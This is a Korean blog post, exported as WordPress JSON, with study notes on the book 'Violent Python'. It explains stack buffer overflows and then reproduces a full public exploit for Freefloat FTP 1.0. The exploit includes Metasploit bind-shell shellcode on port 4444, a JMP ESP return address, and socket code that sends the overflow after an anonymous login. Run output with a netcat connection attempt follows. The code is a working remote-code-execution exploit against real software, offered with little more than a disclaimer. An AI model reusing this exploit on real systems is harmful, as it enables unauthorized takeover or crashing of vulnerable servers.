{"id":3835,"date":"2013-08-08T14:13:58","date_gmt":"2013-08-08T05:13:58","guid":{"rendered":"http:\/\/apollo89.com\/wordpress\/?p=3835"},"modified":"2013-11-12T17:02:40","modified_gmt":"2013-11-12T08:02:40","slug":"%ed%95%b4%ec%bb%a4%ec%9d%98-%ec%96%b8%ec%96%b4-%ec%b9%98%eb%aa%85%ec%a0%81-%ed%8c%8c%ec%9d%b4%ec%8d%ac-chapter-2-%ec%b9%a8%ed%88%ac-%ed%85%8c%ec%8a%a4%ed%8a%b8-%ec%a0%9c%eb%a1%9c-%eb%8d%b0","status":"publish","type":"post","link":"https:\/\/apollo89.com\/wordpress\/?p=3835","title":{"rendered":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \uc81c\ub85c \ub370\uc774 \uac1c\ub150\uc758 \uacf5\uaca9 \ucf54\ub4dc \uac1c\ubc1c\ud558\uae30"},"content":{"rendered":"

 <\/p>\n

Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4.
\n\uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4.
\n<\/strong><\/p>\n

\"VIOLENT_PYTHON_S\"<\/a>
\n[\uad6c\ub9e4\ud558\uae30]<\/a><\/p>\n

\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 1 \uc18c\uac1c<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \ud3ec\ud2b8 \uc2a4\uce90\ub108 \ub9cc\ub4e4\uae30<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – FTP\uc640 \uc6f9\uc744 \uc774\uc6a9\ud55c \ub300\uaddc\ubaa8 \uacf5\uaca9<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \ucee8\ud53c\ucee4 \ub178\ub825\ud558\uba74 \ub41c\ub2e4<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \uc81c\ub85c \ub370\uc774 \uac1c\ub150\uc758 \uacf5\uaca9 \ucf54\ub4dc \uac1c\ubc1c\ud558\uae30<\/a><\/p>\n

2.6 \uc81c\ub85c \ub370\uc774 \uac1c\ub150\uc758 \uacf5\uaca9 \ucf54\ub4dc \uac1c\ubc1c\ud558\uae30
\n– \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787 \ud504\ub808\uc784\uc6cc\ud06c\uc5d0\ub294 \uc57d 800\uc5ec\uac1c \uc774\uc0c1\uc758 \uacf5\uaca9\ucf54\ub4dc \ud0d1\uc7ac
\n– \uacf5\uaca9\ucf54\ub4dc\ub97c \uc9c1\uc811 \uc791\uc131\ud574\uc57c \ud560 \uacbd\uc6b0, \ud30c\uc774\uc36c\uc744 \uc774\uc6a9\ud574\uc11c \uacfc\uc815\uc744 \ub2e8\uc21c\ud654
\n– \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0 \uac1c\ub150\uc774\ud574<\/p>\n

2.6.1 \uc2a4\ud0dd \uae30\ubc18\uc758 \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0 \uacf5\uaca9
\n– \uc0ac\uc6a9\uc790\uc758 \uc785\ub825\uac12\uc744 \uac80\uc99d\ud558\uc9c0 \uc54a\uace0 \uc0ac\uc6a9\ud558\uc5ec EIP\uc758 \uac12\uc744 \ub36e\uc5b4\uc500\uc73c\ub85c \uacf5\uaca9\uc790\uac00 \uc62c\ub9b0 \uc258\ucf54\ub4dc\ub97c \uc2e4\ud589\ud558\ub3c4\ub85d \ud568
\n– \uc2a4\ud0dd \uae30\ubc18\uc758 \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0\ub294 \uacf5\uaca9\ucf54\ub4dc \ubca1\ud130\uc758 \uc6d0\uc870\uaca9(\ub9ce\uc774 \uc788\uace0, \uacc4\uc18d \uc99d\uac00\uc911)
\n– \uc2a4\ud0dd \uae30\ubc18\uc758 \ubc84\ud37c \uc624\ubc84\ud50c\ub85c\uc6b0 \uacf5\uaca9\ucf54\ub4dc\uc758 \ud575\uc2ec\uc801\uc778 \uc694\uc18c\ub4e4
\n 1. \uc624\ubc84\ud50c\ub85c\uc6b0 : \uc2a4\ud0dd\uc5d0 \ud560\ub2f9\ub418\uc5b4\uc788\ub294 \uac82\ubcf4\ub2e4 \ub354\ud070 \uc785\ub825\uac12\uc744 \uc0ac\uc6a9\uc790\uac00 \uc785\ub825\ud558\ub294\uac83
\n 2. \ub9ac\ud134\uc8fc\uc18c : \uc2a4\ud14d\uc758 \ub9e8\uc704\ub85c \uc9c1\uc811 \uc810\ud504\ud558\ub294\ub370 \uc0ac\uc6a9\ub418\ub294 4\ubc14\uc774\ud2b8 \uc8fc\uc18c
\n 3. \ud328\ub529 : \uc258\ucf54\ub4dc\uc55e\uc5d0\uc788\ub294 NOP(no operation) \uc9c0\uc2dc\ub4e4. \uc774\uac83\uc740 \uacf5\uaca9\uc790\uac00 \uc9c7\uc811 \uc810\ud504\ud558\uc5ec \uc8fc\uc18c\ub97c \ucd94\uce21\ud560\uc218 \uc788\uac8c \ud574\uc900\ub2e4.
\n 4. \uc258\ucf54\ub4dc : \uc5b4\uc148\ube14\ub9ac\uc5b8\uc5b4\ub85c \uc791\uc131\ub41c \ucf54\ub4dc\uc870\uac01<\/p>\n

2.6.2 \uacf5\uaca9\uc758 \ud575\uc2ec \uc694\uc18c \ucd94\uac00\ud558\uae30
\n– shellcode\ubcc0\uc218 : \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787 \ud504\ub808\uc784\uc6cc\ud06c\ub85c \uc0dd\uc131\ud55c \ud398\uc774\ub85c\ub4dc\ub97c \ud575\uc0ac\uac12\uc73c\ub85c \uc778\ucf54\ub529\ud558\uc5ec \ud3ec\ud568
\n– overflow\ubcc0\uc218 : \uc54c\ud30c\ubcb3 A\ub97c 246\uac1c \ud3ec\ud568
\n– return\uc8fc\uc18c\ubcc0\uc218 : \uc2a4\ud14d\uc758 \ub9e8\uc704\ub85c \uc9c1\uc811 \uc810\ud504\ud558\uac8c \ud558\ub294 kernel32.dll\uc758 \uc8fc\uc18c
\n– padding\ubcc0\uc218 : 150\uac1c\uc758 NOP \uc9c0\uc2dc \ud3ec\ud568
\n– crash\ubcc0\uc218 : \uc704\uc758 \ubaa8\ub4e0\ubcc0\uc218\ub97c \ud558\ub098\ub85c \ub9cc\ub4ec<\/p>\n

2.6.3 \uc545\uc131\ucf54\ub4dc \uc804\uc1a1\ud558\uae30
\n– Berkeley Socket API\uc73c\ub85c \uacf5\uaca9\ub300\uc0c1 \ud638\uc2a4\ud2b8\uc758 TCP 21 \ud3ec\ud2b8\uc5d0 \uc5f0\uacb0
\n– \uc5f0\uacb0 \uc131\uacf5\uc2dc \uc775\uba85\uc758 \uc0ac\uc6a9\uc790 \uc774\ub984\uacfc \ud398\uc2a4\uc6cc\ub4dc \uc815\uc1a1
\n– FTP\uba85\ub839 “RETR”\uacfc crash \ubcc0\uc218\ub97c \uc804\uc1a1<\/p>\n

2.6.4 \uacf5\uaca9\ucf54\ub4dc \ubaa8\ub450 \ud1b5\ud569\ud558\uae30
\n– \ud328\ud0b7\uc2a4\ud1b0(http:\/\/packetstormsecurity.com\/)\uc5d0 \ud3ec\uc2a4\ud305\ub41c \ud504\ub808\uc774\ub9cc(Freyman)\uc758 \uc6d0\ubcf8 \uacf5\uaca9\ucf54\ub4dc\uac00 \uc644\uc131
\n– FreeFloat FTP\ub97c WindowsXP SP2, SP3 \uc5d0 \uc124\uce58\ud558\uace0 \ud14c\uc2a4\ud2b8
\n– \ud504\ub808\uc774\ub9cc\uc740 \ucde8\uc57d\ud55c \uacf5\uaca9\ub300\uc0c1\uc758 TCP 4444\ud3ec\ud2b8\uc5d0 \ubc14\uc778\ub529\ud558\ub294 \uc274\ucf54\ub4dc\ub97c \uc0ac\uc6a9
\n– \uacf5\uaca9\ucf54\ub4dc \uc2e4\ud589\ud6c4, netcat\uc744 \uc0ac\uc6a9\ud574 4444\uc5d0 \uc5f0\uacb0<\/p>\n

#!\/usr\/bin\/Python\r\n#Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows\r\n#Author: Craig Freyman (@cd1zz)\r\n#Date: July 19, 2011\r\n#Tested on Windows XP SP3 English\r\n#Part of FreeFloat pwn week\r\n#Vendor Notified: 7-18-2011 (no response)\r\n#Software Link: http:\/\/www.freefloat.com\/sv\/freefloat-ftp-server\/freefloat-ftp-server.php\r\n\r\nimport socket,sys,time,struct\r\n\r\nif len(sys.argv) < 2:\r\n     print \"[-]Usage: %s <target addr> <command \/>\" % sys.argv[0] + \"\\r\"\r\n     print \"[-]For example [filename.py 192.168.1.10 PWND] would do the trick.\"\r\n     print \"[-]Other options: AUTH, APPE, ALLO, ACCT\"\r\n     sys.exit(0)\r\n\r\ntarget = sys.argv[1]\r\ncommand = sys.argv[2]\r\n\r\nif len(sys.argv) > 2:\r\n     platform = sys.argv[2]\r\n\r\n#.\/msfpayload windows\/shell_bind_tcp r | .\/msfencode -e x86\/shikata_ga_nai -b \"\\x00\\xff\\x0d\\x0a\\x3d\\x20\"\r\n#[*] x86\/shikata_ga_nai succeeded with size 368 (iteration=1)\r\n\r\nshellcode = (\"\\xbf\\x5c\\x2a\\x11\\xb3\\xd9\\xe5\\xd9\\x74\\x24\\xf4\\x5d\\x33\\xc9\" \r\n\"\\xb1\\x56\\x83\\xc5\\x04\\x31\\x7d\\x0f\\x03\\x7d\\x53\\xc8\\xe4\\x4f\" \r\n\"\\x83\\x85\\x07\\xb0\\x53\\xf6\\x8e\\x55\\x62\\x24\\xf4\\x1e\\xd6\\xf8\" \r\n\"\\x7e\\x72\\xda\\x73\\xd2\\x67\\x69\\xf1\\xfb\\x88\\xda\\xbc\\xdd\\xa7\" \r\n\"\\xdb\\x70\\xe2\\x64\\x1f\\x12\\x9e\\x76\\x73\\xf4\\x9f\\xb8\\x86\\xf5\" \r\n\"\\xd8\\xa5\\x68\\xa7\\xb1\\xa2\\xda\\x58\\xb5\\xf7\\xe6\\x59\\x19\\x7c\" \r\n\"\\x56\\x22\\x1c\\x43\\x22\\x98\\x1f\\x94\\x9a\\x97\\x68\\x0c\\x91\\xf0\" \r\n\"\\x48\\x2d\\x76\\xe3\\xb5\\x64\\xf3\\xd0\\x4e\\x77\\xd5\\x28\\xae\\x49\" \r\n\"\\x19\\xe6\\x91\\x65\\x94\\xf6\\xd6\\x42\\x46\\x8d\\x2c\\xb1\\xfb\\x96\" \r\n\"\\xf6\\xcb\\x27\\x12\\xeb\\x6c\\xac\\x84\\xcf\\x8d\\x61\\x52\\x9b\\x82\" \r\n\"\\xce\\x10\\xc3\\x86\\xd1\\xf5\\x7f\\xb2\\x5a\\xf8\\xaf\\x32\\x18\\xdf\" \r\n\"\\x6b\\x1e\\xfb\\x7e\\x2d\\xfa\\xaa\\x7f\\x2d\\xa2\\x13\\xda\\x25\\x41\" \r\n\"\\x40\\x5c\\x64\\x0e\\xa5\\x53\\x97\\xce\\xa1\\xe4\\xe4\\xfc\\x6e\\x5f\" \r\n\"\\x63\\x4d\\xe7\\x79\\x74\\xb2\\xd2\\x3e\\xea\\x4d\\xdc\\x3e\\x22\\x8a\" \r\n\"\\x88\\x6e\\x5c\\x3b\\xb0\\xe4\\x9c\\xc4\\x65\\xaa\\xcc\\x6a\\xd5\\x0b\" \r\n\"\\xbd\\xca\\x85\\xe3\\xd7\\xc4\\xfa\\x14\\xd8\\x0e\\x8d\\x12\\x16\\x6a\" \r\n\"\\xde\\xf4\\x5b\\x8c\\xf1\\x58\\xd5\\x6a\\x9b\\x70\\xb3\\x25\\x33\\xb3\" \r\n\"\\xe0\\xfd\\xa4\\xcc\\xc2\\x51\\x7d\\x5b\\x5a\\xbc\\xb9\\x64\\x5b\\xea\" \r\n\"\\xea\\xc9\\xf3\\x7d\\x78\\x02\\xc0\\x9c\\x7f\\x0f\\x60\\xd6\\xb8\\xd8\" \r\n\"\\xfa\\x86\\x0b\\x78\\xfa\\x82\\xfb\\x19\\x69\\x49\\xfb\\x54\\x92\\xc6\" \r\n\"\\xac\\x31\\x64\\x1f\\x38\\xac\\xdf\\x89\\x5e\\x2d\\xb9\\xf2\\xda\\xea\" \r\n\"\\x7a\\xfc\\xe3\\x7f\\xc6\\xda\\xf3\\xb9\\xc7\\x66\\xa7\\x15\\x9e\\x30\" \r\n\"\\x11\\xd0\\x48\\xf3\\xcb\\x8a\\x27\\x5d\\x9b\\x4b\\x04\\x5e\\xdd\\x53\" \r\n\"\\x41\\x28\\x01\\xe5\\x3c\\x6d\\x3e\\xca\\xa8\\x79\\x47\\x36\\x49\\x85\" \r\n\"\\x92\\xf2\\x79\\xcc\\xbe\\x53\\x12\\x89\\x2b\\xe6\\x7f\\x2a\\x86\\x25\" \r\n\"\\x86\\xa9\\x22\\xd6\\x7d\\xb1\\x47\\xd3\\x3a\\x75\\xb4\\xa9\\x53\\x10\" \r\n\"\\xba\\x1e\\x53\\x31\")\r\n\r\n#7C874413   FFE4             JMP ESP kernel32.dll\r\nret = struct.pack('<L', 0x7C874413)\r\npadding = \"\\x90\" * 150\r\ncrash = \"\\x41\" * 246 + ret + padding + shellcode\r\n\r\nprint \"\\\r\n[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\\n\\\r\n[*] Author: Craig Freyman (@cd1zz)\\n\\\r\n[*] Connecting to \"+target\r\n\r\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r\ntry:\r\n    s.connect((target,21))\r\nexcept:\r\n    print \"[-] Connection to \"+target+\" failed!\"\r\n    sys.exit(0)\r\n\r\nprint \"[*] Sending \" + `len(crash)` + \" \" + command +\" byte crash...\"\r\n\r\ns.send(\"USER anonymous\\r\\n\")\r\ns.recv(1024)\r\ns.send(\"PASS \\r\\n\")\r\ns.recv(1024)\r\ns.send(command +\" \" + crash + \"\\r\\n\")\r\ntime.sleep(4)<\/pre>\n
FreefloatFTPServer \ub2e4\uc6b4\ub85c\ub4dc<\/a><\/p>\n
\uc2e4\ud589\uacb0\uacfc <\/p>\n
# python freefloat.py 192.168.110.128 PWND\r\n[*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\r\n[*] Author: Craig Freyman (@cd1zz)\r\n[*] Connecting to 192.168.110.128\r\n[*] Sending 768 PWND byte crash...\r\n# nc 192.168.110.128 4444\r\n(UNKNOWN) [192.168.110.128] 4444 (?) : Connection timed out\r\n<\/pre>\n
\uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc2e4\ud589\uc744 \ud558\uba74 \uc544\ub798\uc640 \uac19\uc774 Freefloat \uac00 crach\uac00 \ubc1c\uc0dd\ud558\uace0 \ub2e4\uc6b4\uc774 \ub418\uc9c0\ub9cc, nc\uc73c\ub85c 4444 \ud3ec\ud2b8\ub85c \uc811\uc18d\ub418\uc9c0\ub294 \uc54a\ub294\ub2e4..\u3160
\n\"crash\"<\/p>\n
 <\/p>\n","protected":false},"excerpt":{"rendered":"
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[\uad6c\ub9e4\ud558\uae30] \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 1 \uc18c\uac1c \ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[663,658],"tags":[1158,1216],"class_list":["post-3835","post","type-post","status-publish","format-standard","hentry","category-python-","category-book-2","tag-1158","tag-1216"],"yoast_head":"\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - \uc81c\ub85c \ub370\uc774 \uac1c\ub150\uc758 \uacf5\uaca9 \ucf54\ub4dc \uac1c\ubc1c\ud558\uae30 - Apollo89.com<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/apollo89.com\/wordpress\/?p=3835\" \/>\n<meta property=\"og:locale\" content=\"ko_KR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c - CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 - \uc81c\ub85c \ub370\uc774 \uac1c\ub150\uc758 \uacf5\uaca9 \ucf54\ub4dc \uac1c\ubc1c\ud558\uae30 - Apollo89.com\" \/>\n<meta property=\"og:description\" content=\"  Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. 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